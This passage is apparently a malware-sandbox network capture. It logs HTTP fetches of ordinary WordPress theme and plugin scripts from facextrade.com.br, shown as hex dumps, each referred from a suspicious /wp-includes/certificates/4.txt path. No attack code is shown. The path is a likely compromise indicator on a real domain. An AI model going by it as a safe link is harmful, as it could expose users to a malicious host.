Aug 16, 2022 11:06:08.982219934 CEST	2721	IN	Data Raw: da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 64 65 73 63 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 65 63 2e 63 68 00 00 00 00 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 Data Ascii: XYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space -
Aug 16, 2022 11:06:10.205261946 CEST	3681	OUT	GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.446939945 CEST	3684	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:32 GMT Server: Apache ETag: "a4f8b3-ada-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382225 16636770 Age: 38 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 63 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devic
Aug 16, 2022 11:06:10.449379921 CEST	3686	OUT	GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.691193104 CEST	3701	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:33 GMT Server: Apache ETag: "a4fbbc-38f9-58592ec603240" Last-Modified: Tue, 02 Apr 2019 21:36:01 GMT Content-Length: 14585 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382226 16636774 Age: 37 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 63 66 37 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 7c 7c 20 77 70 63 66 37 20 3d 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 3b 0a 09 7d 0a 0a 09 77 70 63 66 37 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 7b 0a 09 09 63 61 63 68 65 64 3a 20 30 2c 0a 09 09 69 6e 70 75 74 73 3a 20 5b 5d 0a 09 7d 2c 20 77 70 63 66 37 20 29 3b 0a 0a 09 24 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 77 70 63 66 37 2e 73 75 70 70 6f 72 74 48 74 6d 6c 35 20 3d 20 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 66 65 61 74 75 72 65 73 20 3d 20 7b 7d 3b 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 20 27 69 6e 70 75 74 27 20 29 3b 0a 0a 09 09 09 66 65 61 74 75 72 65 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 20 3d 20 27 70 6c 61 63 65 68 6f 6c 64 65 72 27 20 69 6e 20 69 6e 70 75 74 3b 0a 0a 09 09 09 76 61 72 20 69 6e 70 75 74 54 79 70 65 73 20 3d 20 5b 20 27 65 6d 61 69 6c 27 2c 20 27 75 72 6c 27 2c 20 27 74 65 6c 27 2c 20 27 6e 75 6d 62 65 72 27 2c 20 27 72 61 6e 67 65 27 2c 20 27 64 61 74 65 27 20 5d 3b 0a 0a 09 09 09 24 2e 65 61 63 68 28 20 69 6e 70 75 74 54 79 70 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 09 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 74 79 70 65 27 2c 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 66 65 61 74 75 72 65 73 5b 20 76 61 6c 75 65 20 5d 20 3d 20 69 6e 70 75 74 2e 74 79 70 65 20 21 3d 3d 20 27 74 65 78 74 27 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 65 61 74 75 72 65 73 3b 0a 09 09 7d 20 29 28 29 3b 0a 0a 09 09 24 28 20 27 64 69 76 2e 77 70 63 66 37 20 3e 20 66 6f 72 6d 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 74 68 69 73 20 29 3b 0a 09 09 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 28 20 24 66 6f 72 6d 20 29 3b 0a 0a 09 09 09 69 66 20 28 20 77 70 63 66 37 2e 63 61 63 68 65 64 20 29 20 7b 0a 09 09 09 09 77 70 63 66 37 2e 72 65 66 69 6c 6c 28 20 24 66 6f 72 6d 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 20 29 3b 0a 09 7d 20 29 3b 0a 0a 09 77 70 63 66 37 2e 67 65 74 49 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 20 24 28 20 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 5f 77 70 63 66 37 22 5d 27 2c 20 66 6f 72 6d 20 29 2e 76 61 6c 28 29 2c 20 31 30 20 29 3b 0a 09 7d 3b 0a 0a 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 66 6f 72 6d 20 29 3b 0a 0a 09 09 24 66 6f 72 6d 2e 73 75 Data Ascii: ( function( $ ) {'use strict';if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {return;}wpcf7 = $.extend( {cached: 0,inputs: []}, wpcf7 );$( function() {wpcf7.supportHtml5 = ( function() {var features = {};var input = document.createElement( 'input' );features.placeholder = 'placeholder' in input;var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];$.each( inputTypes, function( index, value ) {input.setAttribute( 'type', value );features[ value ] = input.type !== 'text';} );return features;} )();$( 'div.wpcf7 > form' ).each( function() {var $form = $( this );wpcf7.initForm( $form );if ( wpcf7.cached ) {wpcf7.refill( $form );}} );} );wpcf7.getId = function( form ) {return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );};wpcf7.initForm = function( form ) {var $form = $( form );$form.su
Aug 16, 2022 11:06:10.693674088 CEST	3716	OUT	GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.935607910 CEST	3724	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:33 GMT Server: Apache ETag: "a53a4f-4d31-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 19761 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382227 16636778 Age: 37 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 76 61 72 20 43 68 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 73 29 7b 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 63 2c 62 29 7b 61 3d 41 28 28 61 2d 63 2e 67 72 61 70 68 4d 69 6e 29 2f 28 63 2e 73 74 65 70 73 2a 63 2e 73 74 65 70 56 61 6c 75 65 29 2c 31 2c 30 29 3b 72 65 74 75 72 6e 20 62 2a 63 2e 73 74 65 70 73 2a 61 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 63 2c 62 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 67 2b 3d 66 3b 76 61 72 20 6b 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 41 28 64 28 67 29 2c 6e 75 6c 6c 2c 30 29 3a 31 3b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 71 2c 75 29 3b 61 2e 73 63 61 6c 65 4f 76 65 72 6c 61 79 3f 28 62 28 6b 29 2c 63 28 29 29 3a 28 63 28 29 2c 62 28 6b 29 29 3b 69 66 28 31 3e 3d 67 29 44 28 68 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 29 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 29 7d 76 61 72 20 66 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 31 2f 41 28 61 2e 61 6e 69 6d 61 74 69 6f 6e 53 74 65 70 73 2c 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 31 29 3a 31 2c 64 3d 42 5b 61 2e 61 6e 69 6d 61 74 69 6f 6e 45 61 73 69 6e 67 5d 2c 67 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 30 3a 31 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 44 28 68 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 63 2c 62 2c 65 2c 68 2c 66 29 7b 76 61 72 20 64 3b 61 3d 0a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 6c 6f 67 28 65 2d 68 29 2f 4d 61 74 68 2e 4c 4e 31 30 29 3b 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 65 3d 4d 61 74 68 2e 63 65 69 6c 28 65 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 2d 68 3b 61 3d 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 66 6f 72 28 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 64 3c 62 7c 7c 64 3e 63 3b 29 61 3d 64 3c 62 3f 61 2f 32 3a 32 2a 61 2c 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 63 3d 5b 5d 3b 7a 28 66 2c 63 2c 64 2c 68 2c 61 29 3b 72 65 74 75 72 6e 7b 73 74 65 70 73 3a 64 2c 73 74 65 70 56 61 6c 75 65 3a 61 2c 67 72 61 70 68 4d 69 6e 3a 68 2c 6c 61 62 65 6c 73 3a 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 63 2c 62 2c 65 2c 68 29 7b 69 66 28 61 29 66 6f 72 28 76 61 72 20 66 3d 31 3b 66 3c 62 2b 31 3b 66 2b 2b 29 63 2e 70 75 73 68 28 45 28 61 2c 7b 76 61 6c 75 65 3a 28 65 2b 68 2a 66 29 2e 74 6f 46 69 78 65 64 28 30 21 3d 68 25 31 3f 68 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 21 69 73 4e 61 4e 28 Data Ascii: var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(
Aug 16, 2022 11:06:10.942634106 CEST	3744	OUT	GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:11.185687065 CEST	3748	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:35 GMT Server: Apache ETag: "a53568-b61-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2913 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382228 16636782 Age: 36 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 2c 65 3d 64 2e 63 2c 67 3d 61 28 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 65 2e 61 72 72 6f 77 43 6c 61 73 73 2b 27 22 3e 20 26 23 31 38 37 3b 3c 2f 73 70 61 6e 3e 27 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 64 3d 6a 28 62 29 3b 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 30 29 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 64 2e 73 66 54 69 6d 65 72 29 3b 62 2e 73 68 6f 77 53 75 70 65 72 66 69 73 68 55 6c 28 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 66 3d 6a 28 62 29 2c 65 3d 64 2e 6f 70 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 74 61 69 6e 50 61 74 68 3d 2d 31 3c 61 2e 69 6e 41 72 72 61 79 28 62 5b 30 5d 2c 65 2e 24 70 61 74 68 29 3b 62 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 3b 65 2e 24 70 61 74 68 2e 6c 65 6e 67 74 68 26 26 31 3e 62 2e 70 61 72 65 6e 74 73 28 22 6c 69 2e 22 2b 65 2e 68 6f 76 65 72 43 6c 61 73 73 29 2e 6c 65 6e 67 74 68 26 26 28 65 2e 6f 6e 49 64 6c 65 2e 63 61 6c 6c 28 29 2c 61 2e 70 72 6f 78 79 28 6b 2c 0a 65 2e 24 70 61 74 68 2c 63 29 28 29 29 7d 3b 22 6d 6f 75 73 65 6c 65 61 76 65 22 21 3d 3d 63 2e 74 79 70 65 26 26 22 66 6f 63 75 73 6f 75 74 22 21 3d 3d 63 2e 74 79 70 65 3f 67 28 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 66 2e 73 66 54 69 6d 65 72 29 2c 66 2e 73 66 54 69 6d 65 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 65 2e 64 65 6c 61 79 29 29 3b 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 31 29 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 68 61 73 43 6c 61 73 73 28 65 2e 6d 65 6e 75 43 6c 61 73 73 29 26 26 61 2e 65 72 72 6f 72 28 22 53 75 70 65 72 66 69 73 68 20 72 65 71 75 69 72 65 73 20 79 6f 75 20 74 6f 20 75 70 64 61 74 65 20 74 6f 20 61 20 76 65 72 73 69 6f 6e 20 6f 66 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 74 68 61 74 20 73 75 70 70 6f 72 74 73 20 65 76 65 6e 74 2d 64 65 6c 65 67 61 74 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 74 68 69 73 20 6f 6e 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 65 6c 64 62 69 72 63 68 2f 6f 6e 48 6f 76 65 72 49 6e 74 65 6e 74 22 29 3b 63 3d 63 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 65 2e 6d 65 6e 75 43 6c 61 73 73 29 5b 30 5d 3b 64 2e 6f 70 3d 64 2e 6f 5b 63 2e 73 65 72 69 61 6c 5d 3b 72 65 74 75 72 6e 20 63 7d 2c 6d Data Ascii: (function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m
Aug 16, 2022 11:06:11.188647985 CEST	3751	OUT	GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:11.431169033 CEST	3755	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:35 GMT Server: Apache ETag: "a53533-50bd-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 20669 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382229 16636786 Age: 36 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 33 20 2d 20 32 30 31 33 2d 30 37 2d 31 36 0a 2a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 6f 2c 61 2c 72 2c 73 2c 6c 3d 22 43 6c 6f 73 65 22 2c 63 3d 22 42 65 66 6f 72 65 43 6c 6f 73 65 22 2c 64 3d 22 41 66 74 65 72 43 6c 6f 73 65 22 2c 75 3d 22 42 65 66 6f 72 65 41 70 70 65 6e 64 22 2c 70 3d 22 4d 61 72 6b 75 70 50 61 72 73 65 22 2c 66 3d 22 4f 70 65 6e 22 2c 6d 3d 22 43 68 61 6e 67 65 22 2c 67 3d 22 6d 66 70 22 2c 76 3d 22 2e 22 2b 67 2c 68 3d 22 6d 66 70 2d 72 65 61 64 79 22 2c 43 3d 22 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 22 2c 79 3d 22 6d 66 70 2d 70 72 65 76 65 6e 74 2d 63 6c 6f 73 65 22 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 3d 21 21 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 49 3d 65 28 77 69 6e 64 6f 77 29 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 65 76 2e 6f 6e 28 67 2b 65 2b 76 2c 69 29 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 6d 66 70 2d 22 2b 74 2c 6e 26 26 28 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 29 2c 6f 3f 69 26 26 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3a 28 61 3d 65 28 61 29 2c 69 26 26 61 2e 61 70 70 65 6e 64 54 6f 28 69 29 29 2c 61 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 74 2e 65 76 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 